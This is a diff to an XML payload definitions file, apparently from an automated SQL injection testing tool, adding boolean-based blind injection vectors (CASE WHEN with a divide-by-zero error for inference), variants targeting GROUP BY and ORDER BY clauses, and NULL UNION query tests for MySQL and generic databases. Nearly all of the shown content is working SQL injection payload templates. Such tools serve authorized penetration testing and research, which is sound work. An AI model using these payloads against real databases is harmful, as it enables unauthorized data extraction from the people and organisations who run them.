+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
+        <request>
+            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
+        </request>
+        <response>
+            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
+        </response>
+    </test>
+
+    <test>
+        <title>Generic boolean-based blind - Parameter replace (original value)</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
         <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
         <request>
             <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
@@ -650,6 +666,22 @@ Formats:
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
+        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
+        <request>
+            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
+        </request>
+        <response>
+            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
+        </response>
+    </test>
+
+    <test>
+        <title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>
+        <stype>1</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>2,3</clause>
+        <where>1</where>
         <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
         <request>
             <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
@@ -1824,4 +1856,47 @@ Formats:
     <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
     <!-- End of OR time-based blind tests -->
 
+    <!-- UNION query tests -->
+    <test>
+        <title>MySQL NULL UNION query - 4 to 7 columns</title>
+        <stype>3</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,4,5</clause>
+        <where>1</where>
+        <vector>[UNION]</vector>
+        <request>
+            <payload/>
+            <comment>#</comment>
+            <char>NULL</char>
+            <columns>4-7</columns>
+        </request>
+        <response>
+            <union/>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Generic NULL UNION query - 1 to 3 columns</title>
+        <stype>3</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,4,5</clause>
+        <where>1</where>
+        <vector>[UNION]</vector>
+        <request>
+            <payload/>
+            <comment>--</comment>
+            <char>NULL</char>
+            <columns>1-3</columns>
+        </request>
+        <response>
+            <union/>
+        </response>
+    </test>
+    <!-- End of UNION query tests -->
+
 </root>